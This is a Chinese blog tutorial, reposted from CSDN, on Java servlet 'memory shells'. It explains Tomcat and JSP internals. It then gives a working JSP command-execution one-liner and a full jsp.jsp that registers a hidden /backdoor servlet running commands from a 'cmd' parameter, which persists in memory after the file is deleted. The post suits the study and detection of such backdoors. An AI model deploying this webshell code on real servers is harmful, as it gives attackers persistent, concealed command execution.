0
0

Java安全之servlet内存马分析

前言

php和jsp一句话马我想大家都知道，早先就听小伙伴说过一句话木马已经过时了，现在是内存马的天下了 ，内存马无落地文件，更隐蔽不易被发现。翻一翻大佬的文章看起来让人云里雾里的，究竟什么是内存马呢？

为了搞清这点我们必须从java的特性底层出发，才能对内存马知根知底。

本节我将介绍

    什么是内存马？

    什么是servlet？

    servlet运行机制

    jsp的本质

    Tomcat总体架构

    注册servlet到tomcat

    注册的流程

    StandardContext类

    servlet内存马的实现
什么是中间键

当我们发送一个url到服务器，再到服务器返回数据到给用户，这个过程中经历了什么！

我们都知道tomcat 是一个java程序的中间件，为什么这么说呢！

当我们浏览器发出url到web服务器，web服务器谁来处理这些连接请求 处理数据 返回数据？为什么一定要用tomcat不用行不行? tomcat帮我们做了什么？

tomcat的实现底层用到了socket编程 i/o输入输出流 反射调用 线程等技术。想一想如果不用tomcat 我们是否可以用纯java代码来实现这些功能！

了解jsp的本质

我们启用tomcat 把index.jsp复制到tomcat项目目录webapps\testServlet下

<%Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));%>

启动tomcat /bin/startup.bat

访问并传递参数http://127.0.0.1:8080/testServlet/index.jsp?cmd=calc

这里成功运行了jsp的java代码。

我们都知道java不像php语言一样，它是由java编译后运行的。编译器是怎么理解jsp的呢? 是什么机制？

我们可以打开tomcat的工作空间\apache-tomcat-8.0.50\work\Catalina\localhost\testServlet\org\apache\jsp

查看对应项目的反编译文件class类

查看index_jsp.java

/*
 * Generated by the Jasper component of Apache Tomcat
 * Version: Apache Tomcat/8.0.50
 * Generated at: 2023-09-xx 02:06:44 UTC
 * Note: The last modified time of this file was set to
 *       the last modified time of the source file after
 *       generation to assist with modification tracking.
 */
package org.apache.jsp;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;

public final class index_jsp extends org.apache.jasper.runtime.HttpJspBase
    implements org.apache.jasper.runtime.JspSourceDependent,
                 org.apache.jasper.runtime.JspSourceImports {

  private static final javax.servlet.jsp.JspFactory _jspxFactory =
          javax.servlet.jsp.JspFactory.getDefaultFactory();

  private static java.util.Map<java.lang.String,java.lang.Long> _jspx_dependants;

  private static final java.util.Set<java.lang.String> _jspx_imports_packages;

  private static final java.util.Set<java.lang.String> _jspx_imports_classes;

  static {
    _jspx_imports_packages = new java.util.HashSet<>();
    _jspx_imports_packages.add("javax.servlet");
    _jspx_imports_packages.add("javax.servlet.http");
    _jspx_imports_packages.add("javax.servlet.jsp");
    _jspx_imports_classes = null;
  }

  private volatile javax.el.ExpressionFactory _el_expressionfactory;
  private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager;

  public java.util.Map<java.lang.String,java.lang.Long> getDependants() {
    return _jspx_dependants;
  }

  public java.util.Set<java.lang.String> getPackageImports() {
    return _jspx_imports_packages;
  }

  public java.util.Set<java.lang.String> getClassImports() {
    return _jspx_imports_classes;
  }

  public javax.el.ExpressionFactory _jsp_getExpressionFactory() {
    if (_el_expressionfactory == null) {
      synchronized (this) {
        if (_el_expressionfactory == null) {
          _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
        }
      }
    }
    return _el_expressionfactory;
  }

  public org.apache.tomcat.InstanceManager _jsp_getInstanceManager() {
    if (_jsp_instancemanager == null) {
      synchronized (this) {
        if (_jsp_instancemanager == null) {
          _jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig());
        }
      }
    }
    return _jsp_instancemanager;
  }

  public void _jspInit() {
  }

  public void _jspDestroy() {
  }

  public void _jspService(final javax.servlet.http.HttpServletRequest request, final javax.servlet.http.HttpServletResponse response)
        throws java.io.IOException, javax.servlet.ServletException {

final java.lang.String _jspx_method = request.getMethod();
if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"HEAD".equals(_jspx_method) && !javax.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) {
response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSPs only permit GET POST or HEAD");
return;
}

    final javax.servlet.jsp.PageContext pageContext;
    javax.servlet.http.HttpSession session = null;
    final javax.servlet.ServletContext application;
    final javax.servlet.ServletConfig config;
    javax.servlet.jsp.JspWriter out = null;
    final java.lang.Object page = this;
    javax.servlet.jsp.JspWriter _jspx_out = null;
    javax.servlet.jsp.PageContext _jspx_page_context = null;

    try {
      response.setContentType("text/html");
      pageContext = _jspxFactory.getPageContext(this, request, response,
                  null, true, 8192, true);
      _jspx_page_context = pageContext;
      application = pageContext.getServletContext();
      config = pageContext.getServletConfig();
      session = pageContext.getSession();
      out = pageContext.getOut();
      _jspx_out = out;

Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
      out.write('\r');
      out.write('\n');
    } catch (java.lang.Throwable t) {
      if (!(t instanceof javax.servlet.jsp.SkipPageException)){
        out = _jspx_out;
        if (out != null && out.getBufferSize() != 0)
          try {
            if (response.isCommitted()) {
              out.flush();
            } else {
              out.clearBuffer();
            }
          } catch (java.io.IOException e) {}
        if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
        else throw new ServletException(t);
      }
    } finally {
      _jspxFactory.releasePageContext(_jspx_page_context);
    }
  }
}

可以看到我们写的jsp代码在index_jsp类中定义，而index_jsp类继承了org.apache.jasper.runtime.HttpJspBase

为了找到这个类，我们可以先找到jasper.jar这个包 在随便添加到某个项目里，查看里面的文件

package org.apache.jasper.runtime;

import java.io.IOException;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.jsp.HttpJspPage;
import org.apache.jasper.compiler.Localizer;

public abstract class HttpJspBase extends HttpServlet implements HttpJspPage {
    private static final long serialVersionUID = 1L;

    protected HttpJspBase() {
    }

    public final void init(ServletConfig config) throws ServletException {
        super.init(config);
        this.jspInit();
        this._jspInit();
    }

    public String getServletInfo() {
        return Localizer.getMessage("jsp.engine.info");
    }

    public final void destroy() {
        this.jspDestroy();
        this._jspDestroy();
    }

    public final void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this._jspService(request, response);
    }

    public void jspInit() {
    }

    public void _jspInit() {
    }

    public void jspDestroy() {
    }

    protected void _jspDestroy() {
    }

    public abstract void _jspService(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException;
}

可以明确看到HttpJspBase 继承了HttpServlet类

可以说jsp的本质就是一个HttpServlet类

理解servlet运行机制

我们正常的servlet怎么写!

@WebServlet("/test")
public class TestServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //super.doGet(req, resp);
        resp.getWriter().write("hello world");
    }

我们使用注解的方式，建立url地址/test 对应Servlet TestServlet类,重写doGet 向客户端返回hello world

浏览器访问 http://127.0.0.1:8080/testServlet/test

tomcat 是怎么处理调用这个类的！

简单来说 tomcat程序会扫描项目中的@WebServlet 获取相应的字符串，在通过反射的方式，实例化这个对象，在对应socket连接输入输出流的基础上创建线程，调用Servlet 其中request请求对象也传了进去（也是由tomcat收集请求信息创建的对象）。调用service方法再根据请求参数调用相应的处理方法比如doget方法。

servlet的生命周期

实际上tomcat维护了一个大的hashmap<id，Servlet> 里面存放着servlet实例，当我们第一次尝试访问这个servlet路径时，tomcat使用反射将该servlet实例化同时调用init() 作初始化，之后这个实例就存放在了tomcat维护的hashmap<id,Servlet>中供后续使用。当再次请求这个servlet资源的时候，由于hashmap<id,Servlet>已经有这个实例 ，所以这时也不用再实例化对象，直接就可以使用了，因此init() 也不会调用。

可以看出 servlet 自实例化以来就一直可以常驻内存中，直到服务器关闭或Servlet调取destroy()方法进行销毁,Servlet生命周期才正式结束。

既然jsp可以执行java代码，servlet也是java代码一步一步地走出来的，那么我们是否可以用jsp手写底层逻辑再注册一个servlet呢! 如果tomcat中有一个servlet可以为攻击者所用，是不是就是说，有一个隐藏的后门，考虑到servlet的生命周期这个后门就是常驻内存的持久化的后门！

这就是所谓的--------------内存马

Tomcat总体架构

对照上面的关系图

Server：Server容器就代表一个Tomcat实例（Catalina实例），其下可以有一个或者多个Service容器；

从Tomcat安装目录下的/conf/server.xml 文件里可以看到最顶层的是server。

Service：Service是提供具体对外服务的（默认只有一个），一个Service容器中又可以有多个Connector组件（监听不同端口请求，解析请求）和一个Servlet容器（做具体的业务逻辑处理）；Service组件本身没做其他事

Engine和Host：Engine组件（引擎）是Servlet容器Catalina的核心，它支持在其下定义多个虚拟主机（Host），虚拟主机允许Tomcat引擎在将配置在一台机器上的多个域名，比如www.baidu.com、www.bat.com分割开来互不干扰；

Context：每个虚拟主机又可以支持多个web应用部署在它下边，这就是我们所熟知的上下文对象Context，上下文是使用由Servlet规范中指定的Web应用程序格式表示，不论是压缩过的war包形式的文件还是未压缩的目录形式；

Wrapper：在上下文中又可以部署多个servlet，并且每个servlet都会被一个包装组件（Wrapper）所包含（一个wrapper对应一个servlet）

怎么理解Engine Host Context Wrapper 这四者之间的关系呢？ 抛开晦涩难懂的术语 或许我们用java的特性会更好理解点，基于万物皆可对象。

Engine: 我们可以直接把他理解为tomcat，一个tomcat 一个Engine；若我们想运行一个网站首先要下载安装tomcat对吧!

Host: host可以理解为一个虚拟主机，为什么是虚拟？ 想一想我们的一台电脑（主机）只能开启一个web服务吗！并不是吧，我们可以绑定不同端口或者不同域名来开启一个或多个web服务。在外部看来就好像多台主机启动一样，但实际上它们都是一台主机开启的。为了描述这种技术我们将其称之为虚拟主机；当我们下载安装好后，一定会考虑配置tomcat要监听的网卡和要监听的端口甚至是域名，对吧！

Context ：很多人说这是上下文！那你能说说什么是上下文吗！不要用术语去解释术语，当然这也有可能是翻译问题。我们看看官方怎么说的Apache Tomcat 7 Configuration Reference (7.0.109) - The Context Containerhttps://tomcat.apache.org/tomcat-7.0-doc/config/context.html

The Context element represents a web application, which is run within a particular virtual host. Each web application is based on a Web Application Archive (WAR) file, or a corresponding directory containing the corresponding unpacked contents, as described in the Servlet Specification (version 2.2 or later). For more information about web application archives, you can download the Servlet Specification, and review the Tomcat Application Developer's Guide.

------------换句话说可以把这个理解为webapps目录下的目录，一个context就是一个目录，万物皆对象嘛！

对于我们的servlet程序(本质就是一个java类)肯定是存在于目录(Context)下对吧！故在这个世界中它的创建销毁是交给了context对象来管理。

举个例子 来加深下Context 的理解

在server.xml 配置如下 ；写在host标签下

<Context path="/myapp" docBase="C:/path/to/myapp" />

在上面的示例中，使用了一个 <Context> 标签来为名为 "myapp" 的上下文进行配置。通过设置 path 属性为 "/myapp"，将应用程序的上下文路径设置为 "/myapp"。用程序的部署目录在本地文件系统上的路径为 

C:/path/to/myapp

。这个路径可以是包含应用程序源代码、配置文件和资源的目录。在访问该应用程序时，需要使用类似于 

http://localhost:8080/myapp

的 URL即可。

Wrapper 就是servlet了，此次我们重点要关注的是servlet的创建注册，由于它的创建交由Context管理。故我们把重点放到Context 上，寻求注册servlet的方法。

查看Context 的源码

源码下载Apache Tomcat® - Apache Tomcat 8 Software Downloads

参考文章最近迷上了源码，Tomcat源码，看我这篇就够了 - 掘金 (juejin.cn)

我们来到包package org.apache.catalina.startup;下 找到contextconfig.java 文件；代码两千多行，尝试搜索create找到创建servlet(wrapper)相关代码。代码定位在1282行

 for (ServletDef servlet : webxml.getServlets().values()) {
            Wrapper wrapper = context.createWrapper();
            // Description is ignored
            // Display name is ignored
            // Icons are ignored

            // jsp-file gets passed to the JSP Servlet as an init-param

            if (servlet.getLoadOnStartup() != null) {
                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
            }
            if (servlet.getEnabled() != null) {
                wrapper.setEnabled(servlet.getEnabled().booleanValue());
            }
            wrapper.setName(servlet.getServletName());
            Map<String,String> params = servlet.getParameterMap();
            for (Entry<String, String> entry : params.entrySet()) {
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
            Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }
            wrapper.setServletClass(servlet.getServletClass());
            MultipartDef multipartdef = servlet.getMultipartDef();
            if (multipartdef != null) {
                long maxFileSize = -1;
                long maxRequestSize = -1;
                int fileSizeThreshold = 0;

                if(null != multipartdef.getMaxFileSize()) {
                    maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
                }
                if(null != multipartdef.getMaxRequestSize()) {
                    maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
                }
                if(null != multipartdef.getFileSizeThreshold()) {
                    fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
                }

                wrapper.setMultipartConfigElement(new MultipartConfigElement(
                        multipartdef.getLocation(),
                        maxFileSize,
                        maxRequestSize,
                        fileSizeThreshold));
            }
            if (servlet.getAsyncSupported() != null) {
                wrapper.setAsyncSupported(
                        servlet.getAsyncSupported().booleanValue());
            }
            wrapper.setOverridable(servlet.isOverridable());
            context.addChild(wrapper);
        }
        for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }

这段代码片段是在处理Servlet的配置信息，并根据配置信息创建相应的Wrapper对象。具体的逻辑如下：

  1. 遍历webxml中所有的Servlet，使用一个增强型for循环，每次迭代将当前的ServletDef对象赋值给servlet变量。
  2. 创建一个Wrapper对象，并设置一些基本属性，如名称、是否启用等。
  3. 获取Servlet的参数集合，并将每个参数添加到Wrapper的初始化参数中。
  4. 设置Servlet的执行权限。
  5. 添加与Servlet相关的安全角色引用。
  6. 设置Servlet的类名。
  7. 处理Servlet的多部分配置，包括文件大小限制、上传位置等。
  8. 设置是否支持异步请求。
  9. 设置是否允许覆盖。
  10. 将创建的Wrapper对象添加到上下文（Context）中。

通过以上步骤，这段代码实现了对webxml中所有Servlet的遍历和配置处理，并将其对应的Wrapper对象添加到上下文中，以便后续的Servlet的加载和运行。

11.实现将Servlet与URL模式进行映射，并将映射关系添加到上下文中，以便后续请求匹配对应的Servlet进行处理。

基于以上代码我们需要做简单的修改，保留关键部分的代码

Wrapper wrapper = context.createWrapper();

wrapper.setName(servlet.getServletName());

wrapper.setServletClass(servlet.getServletClass());

context.addChild(wrapper);

context.addServletMappingDecoded(entry.getKey(), entry.getValue());

这段代码的作用是创建一个Wrapper对象，并将其添加到上下文中，同时将Servlet与URL模式进行映射。具体逻辑如下：

  1. 创建一个Wrapper对象，调用上下文（Context）的createWrapper()方法，返回一个新的Wrapper实例，并将其赋值给wrapper变量。
  2. 设置Wrapper的名称，即调用setName()方法，将Servlet的名称（servletName）设置为Wrapper的名称。
  3. 设置Wrapper的Servlet类名，即调用setServletClass()方法，将Servlet的类名（servletClass）设置为Wrapper的Servlet类名。
  4. 将创建的Wrapper对象添加到上下文中，即调用上下文的addChild()方法，将Wrapper作为子元素添加到上下文中。
  5. 将Servlet与URL模式进行映射并添加到上下文中，即调用上下文的addServletMappingDecoded()方法，将URL模式和Wrapper的名称作为参数传入，将URL模式与对应的Servlet进行映射。

通过以上步骤，可以实现创建Wrapper对象并将其添加到上下文中，同时将Servlet与URL模式进行映射，以便后续根据URL模式匹配到对应的Servlet进行请求处理。

由于context为接口 ，我们需要一个实例用context接收 调用createWrapper()方法。

Context，实现类为 org.apache.catalina.core.StandardContext

目前我们有request对象，它其中getServletContext()方法。看看能否找到相关的类StandardContext

servlet内存马实现

servlet后门定义

<%!
public class backdoor extends HttpServlet {
    @Override
    public void doGet(HttpServletRequest request, HttpServletResponse resp) throws IOException{
     
        resp.getWriter().write("hello world");
        Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }

}
%>

获取一个StandardContext对象

<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

创建weapper，注册servlet

<%
Wrapper wrapper = context.createWrapper();
wrapper.setName("backdoor");
wrapper.setServletClass("backdoor");
wrapper.setServlet(new backdoor());

context.addChild(wrapper);
context.addServletMappingDecoded("/backdoor", "backdoor");
%>

和起来的的代码jsp.jsp

//jsp功能实现
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
  <head>
    <title>backdoor</title>
  </head>
  <body>
<h1>backdoor</h1>
<%!
public class backdoor extends HttpServlet {
    @Override
    public void doGet(HttpServletRequest request, HttpServletResponse resp) throws IOException{
     
        resp.getWriter().write("hello world");
        Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }

}
%>
<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

<%
Wrapper wrapper = context.createWrapper();
wrapper.setName("backdoor");
wrapper.setServletClass("backdoor");
wrapper.setServlet(new backdoor());

context.addChild(wrapper);
context.addServletMappingDecoded("/backdoor", "backdoor");
%>

  </body>
</html>

上传jsp.jsp到tomcat项目目录webapps\testServlet下，访问

（ 插曲，其实这里出的错不少，一直调啊调，最终才调好。）

貌似执行成功了 ，现在访问我们的servlet 带上参数

根据理论，现在即使删除jsp.jsp文件，这个路径访问还是会生效。算的上是一个持久化的后门。

只有tomcat重启，这个注册的servlet才会被销毁。

除此之外，我们还可以从监听器 过滤器下手，它们也可以创建内存马，不过本质上都一样，。

参考

Servlet内存马-CSDN博客

最近迷上了源码，Tomcat源码，看我这篇就够了 - 掘金 (juejin.cn)

java内存马专题1-servlet内存马_哔哩哔哩_bilibili

https://tomcat.apache.org/tomcat-7.0-doc/config/context.html

GPT3.5

var code = "8edeba5f-72d6-4a0b-b458-39fdb607e5a9"
标签： java 开发语言 servlet
本文转载自: https://blog.csdn.net/shelter1234567/article/details/133435490
版权归原作者 昵称还在想呢 所有， 如有侵权，请联系我们删除。
登录后发布评论

“Java安全之servlet内存马分析”的评论:

还没有评论
关于作者
...
overfit同步小助手
文章同步
相关阅读

安全见闻7

每日进阶：捕获黑客的绝密武器——Web应用防火墙（WAF）

Linux中FTP安装

别只会重启了！进来告诉你AP无法上线怎么办

在 Mac 上配置 LaTeX

PrimeVue开源UI组件库使用指南及问题解答

**AI的三大支柱：神经网络、大数据与GPU计算的崛起之路**

文章导航